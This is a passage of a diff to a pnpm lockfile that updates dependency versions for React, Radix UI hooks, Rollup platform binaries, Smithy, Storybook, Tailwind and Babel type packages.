+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-controllable-state@1.2.4(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-controllable-state@1.2.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-effect-event@0.0.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-controllable-state@1.2.6(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-effect-event@0.0.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-effect-event@0.0.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-effect-event@0.0.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-escape-keydown@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-effect-event@0.0.5(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-escape-keydown@1.1.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-is-hydrated@0.1.1(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-escape-keydown@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-layout-effect@1.1.1(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-escape-keydown@1.1.5(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-layout-effect@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-is-hydrated@0.1.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-previous@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-layout-effect@1.1.1(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-rect@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-layout-effect@1.1.2(@types/react@19.2.18)(react@19.2.8)':
+    dependencies:
+      react: 19.2.8
+    optionalDependencies:
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-use-layout-effect@1.1.4(@types/react@19.2.18)(react@19.2.8)':
+    dependencies:
+      react: 19.2.8
+    optionalDependencies:
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-use-previous@1.1.2(@types/react@19.2.18)(react@19.2.8)':
+    dependencies:
+      react: 19.2.8
+    optionalDependencies:
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-use-previous@1.1.4(@types/react@19.2.18)(react@19.2.8)':
+    dependencies:
+      react: 19.2.8
+    optionalDependencies:
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-use-rect@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
       '@radix-ui/rect': 1.1.2
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-size@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-rect@1.1.4(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/rect': 1.1.3
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-visually-hidden@1.2.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-use-size@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-visually-hidden@1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-use-size@1.1.4(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-visually-hidden@1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
+    dependencies:
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+    optionalDependencies:
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
+
+  '@radix-ui/react-visually-hidden@1.2.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
+    dependencies:
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+    optionalDependencies:
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
   '@radix-ui/rect@1.1.2': {}
 
-  '@react-hook/intersection-observer@3.1.2(react@19.2.7)':
+  '@radix-ui/rect@1.1.3': {}
+
+  '@react-hook/intersection-observer@3.1.2(react@19.2.8)':
     dependencies:
-      '@react-hook/passive-layout-effect': 1.2.1(react@19.2.7)
+      '@react-hook/passive-layout-effect': 1.2.1(react@19.2.8)
       intersection-observer: 0.10.0
-      react: 19.2.7
+      react: 19.2.8
 
-  '@react-hook/passive-layout-effect@1.2.1(react@19.2.7)':
+  '@react-hook/passive-layout-effect@1.2.1(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
 
-  '@rolldown/pluginutils@1.0.0-beta.27': {}
+  '@rolldown/pluginutils@1.0.0-rc.3': {}
 
   '@rollup/plugin-node-resolve@16.0.3(rollup@4.62.4)':
     dependencies:
@@ -12210,89 +12698,164 @@ snapshots:
     optionalDependencies:
       rollup: 4.62.4
 
-  '@rollup/pluginutils@5.4.0(rollup@4.62.4)':
+  '@rollup/pluginutils@5.4.0(rollup@4.62.5)':
     dependencies:
       '@types/estree': 1.0.9
       estree-walker: 2.0.2
       picomatch: 4.0.5
     optionalDependencies:
-      rollup: 4.62.4
+      rollup: 4.62.5
 
   '@rollup/rollup-android-arm-eabi@4.62.4':
     optional: true
 
+  '@rollup/rollup-android-arm-eabi@4.62.5':
+    optional: true
+
   '@rollup/rollup-android-arm64@4.62.4':
     optional: true
 
+  '@rollup/rollup-android-arm64@4.62.5':
+    optional: true
+
   '@rollup/rollup-darwin-arm64@4.62.4':
     optional: true
 
+  '@rollup/rollup-darwin-arm64@4.62.5':
+    optional: true
+
   '@rollup/rollup-darwin-x64@4.62.4':
     optional: true
 
+  '@rollup/rollup-darwin-x64@4.62.5':
+    optional: true
+
   '@rollup/rollup-freebsd-arm64@4.62.4':
     optional: true
 
+  '@rollup/rollup-freebsd-arm64@4.62.5':
+    optional: true
+
   '@rollup/rollup-freebsd-x64@4.62.4':
     optional: true
 
+  '@rollup/rollup-freebsd-x64@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-arm-gnueabihf@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-arm-gnueabihf@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-arm-musleabihf@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-arm-musleabihf@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-arm64-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-arm64-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-arm64-musl@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-arm64-musl@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-loong64-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-loong64-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-loong64-musl@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-loong64-musl@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-ppc64-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-ppc64-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-ppc64-musl@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-ppc64-musl@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-riscv64-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-riscv64-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-riscv64-musl@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-riscv64-musl@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-s390x-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-s390x-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-x64-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-x64-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-linux-x64-musl@4.62.4':
     optional: true
 
+  '@rollup/rollup-linux-x64-musl@4.62.5':
+    optional: true
+
   '@rollup/rollup-openbsd-x64@4.62.4':
     optional: true
 
+  '@rollup/rollup-openbsd-x64@4.62.5':
+    optional: true
+
   '@rollup/rollup-openharmony-arm64@4.62.4':
     optional: true
 
+  '@rollup/rollup-openharmony-arm64@4.62.5':
+    optional: true
+
   '@rollup/rollup-win32-arm64-msvc@4.62.4':
     optional: true
 
+  '@rollup/rollup-win32-arm64-msvc@4.62.5':
+    optional: true
+
   '@rollup/rollup-win32-ia32-msvc@4.62.4':
     optional: true
 
+  '@rollup/rollup-win32-ia32-msvc@4.62.5':
+    optional: true
+
   '@rollup/rollup-win32-x64-gnu@4.62.4':
     optional: true
 
+  '@rollup/rollup-win32-x64-gnu@4.62.5':
+    optional: true
+
   '@rollup/rollup-win32-x64-msvc@4.62.4':
     optional: true
 
+  '@rollup/rollup-win32-x64-msvc@4.62.5':
+    optional: true
+
   '@shikijs/core@4.3.0':
     dependencies:
       '@shikijs/primitive': 4.3.0
@@ -12338,36 +12901,36 @@ snapshots:
 
   '@shikijs/vscode-textmate@10.0.2': {}
 
-  '@smithy/core@3.32.0':
+  '@smithy/core@3.33.2':
     dependencies:
-      '@smithy/types': 4.17.0
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@smithy/credential-provider-imds@4.5.0':
+  '@smithy/credential-provider-imds@4.5.2':
     dependencies:
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@smithy/fetch-http-handler@5.7.0':
+  '@smithy/fetch-http-handler@5.7.2':
     dependencies:
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@smithy/node-http-handler@4.10.0':
+  '@smithy/node-http-handler@4.11.2':
     dependencies:
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@smithy/signature-v4@5.7.0':
+  '@smithy/signature-v4@5.7.2':
     dependencies:
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@smithy/types@4.17.0':
+  '@smithy/types@4.17.2':
     dependencies:
       tslib: 2.8.1
 
@@ -12381,24 +12944,24 @@ snapshots:
 
   '@stitches/core@1.2.8': {}
 
-  '@storybook/addon-a11y@10.5.4(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))':
+  '@storybook/addon-a11y@10.5.8(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))':
     dependencies:
       '@storybook/global': 5.0.0
-      axe-core: 4.12.1
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      axe-core: 4.13.0
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
 
-  '@storybook/addon-docs@10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@storybook/addon-docs@10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
-      '@mdx-js/react': 3.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@storybook/csf-plugin': 10.5.0(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
-      '@storybook/icons': 2.1.0(react@19.2.7)
-      '@storybook/react-dom-shim': 10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      '@mdx-js/react': 3.1.1(@types/react@19.2.18)(react@19.2.8)
+      '@storybook/csf-plugin': 10.5.8(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
+      '@storybook/icons': 2.1.0(react@19.2.8)
+      '@storybook/react-dom-shim': 10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
       ts-dedent: 2.3.0
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
     transitivePeerDependencies:
       - '@types/react-dom'
       - esbuild
@@ -12406,56 +12969,56 @@ snapshots:
       - vite
       - webpack
 
-  '@storybook/builder-vite@10.5.0(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@storybook/builder-vite@10.5.8(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
-      '@storybook/csf-plugin': 10.5.0(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      '@storybook/csf-plugin': 10.5.8(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
       ts-dedent: 2.3.0
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
     transitivePeerDependencies:
       - esbuild
       - rollup
       - webpack
 
-  '@storybook/csf-plugin@10.5.0(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@storybook/csf-plugin@10.5.8(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
       unplugin: 2.3.11
     optionalDependencies:
-      esbuild: 0.28.1
-      rollup: 4.62.4
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      esbuild: 0.28.2
+      rollup: 4.62.5
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
 
   '@storybook/global@5.0.0': {}
 
-  '@storybook/icons@2.1.0(react@19.2.7)':
+  '@storybook/icons@2.1.0(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
 
-  '@storybook/react-dom-shim@10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))':
+  '@storybook/react-dom-shim@10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))':
     dependencies:
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@storybook/react-vite@10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(esbuild@0.28.1)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(typescript@5.9.3)(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@storybook/react-vite@10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(esbuild@0.28.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(typescript@5.9.3)(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
-      '@joshwooding/vite-plugin-react-docgen-typescript': 0.7.0(typescript@5.9.3)(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
-      '@rollup/pluginutils': 5.4.0(rollup@4.62.4)
-      '@storybook/builder-vite': 10.5.0(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
-      '@storybook/react': 10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(typescript@5.9.3)
+      '@joshwooding/vite-plugin-react-docgen-typescript': 0.7.0(typescript@5.9.3)(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
+      '@rollup/pluginutils': 5.4.0(rollup@4.62.5)
+      '@storybook/builder-vite': 10.5.8(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
+      '@storybook/react': 10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(typescript@5.9.3)
       empathic: 2.0.1
       magic-string: 0.30.21
-      react: 19.2.7
+      react: 19.2.8
       react-docgen: 8.0.3
-      react-dom: 19.2.7(react@19.2.7)
+      react-dom: 19.2.8(react@19.2.8)
       resolve: 1.22.12
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
       tsconfig-paths: 4.2.0
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
     optionalDependencies:
       typescript: 5.9.3
     transitivePeerDependencies:
@@ -12466,18 +13029,18 @@ snapshots:
       - supports-color
       - webpack
 
-  '@storybook/react@10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(typescript@5.9.3)':
+  '@storybook/react@10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(typescript@5.9.3)':
     dependencies:
       '@storybook/global': 5.0.0
-      '@storybook/react-dom-shim': 10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))
-      react: 19.2.7
+      '@storybook/react-dom-shim': 10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))
+      react: 19.2.8
       react-docgen: 8.0.3
       react-docgen-typescript: 2.4.0(typescript@5.9.3)
-      react-dom: 19.2.7(react@19.2.7)
-      storybook: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+      react-dom: 19.2.8(react@19.2.8)
+      storybook: 10.5.5(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
       typescript: 5.9.3
     transitivePeerDependencies:
       - supports-color
@@ -12543,24 +13106,24 @@ snapshots:
       '@tailwindcss/oxide-win32-arm64-msvc': 4.3.3
       '@tailwindcss/oxide-win32-x64-msvc': 4.3.3
 
-  '@tailwindcss/typography@0.5.20(tailwindcss@4.3.2)':
+  '@tailwindcss/typography@0.5.20(tailwindcss@4.3.3)':
     dependencies:
       postcss-selector-parser: 6.0.10
-      tailwindcss: 4.3.2
+      tailwindcss: 4.3.3
 
-  '@tailwindcss/vite@4.3.3(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@tailwindcss/vite@4.3.3(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
       '@tailwindcss/node': 4.3.3
       '@tailwindcss/oxide': 4.3.3
       tailwindcss: 4.3.3
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
 
   '@tanstack/query-core@5.101.4': {}
 
-  '@tanstack/react-query@5.101.4(react@19.2.7)':
+  '@tanstack/react-query@5.101.4(react@19.2.8)':
     dependencies:
       '@tanstack/query-core': 5.101.4
-      react: 19.2.7
+      react: 19.2.8
 
   '@testing-library/dom@10.4.1':
     dependencies:
@@ -12598,20 +13161,20 @@ snapshots:
 
   '@types/babel__core@7.20.5':
     dependencies:
-      '@babel/parser': 7.29.0
-      '@babel/types': 7.29.0
+      '@babel/parser': 7.29.8
+      '@babel/types': 7.29.8
       '@types/babel__generator': 7.27.0
       '@types/babel__template': 7.4.4
       '@types/babel__traverse': 7.28.0
 
   '@types/babel__generator@7.27.0':
     dependencies:
-      '@babel/types': 7.29.0
+      '@babel/types': 7.29.8
 
   '@types/babel__template@7.4.4':
     dependencies:
-      '@babel/parser': 7.29.0
-      '@babel/types': 7.29.0
+      '@babel/parser': 7.29.8
+      '@babel/types': 7.29.8
 
   '@types/babel__traverse@7.28.0':
     dependencies:
@@ -12620,7 +13183,7 @@ snapshots:
   '@types/body-parser@1.19.6':
     dependencies:
       '@types/connect': 3.4.38
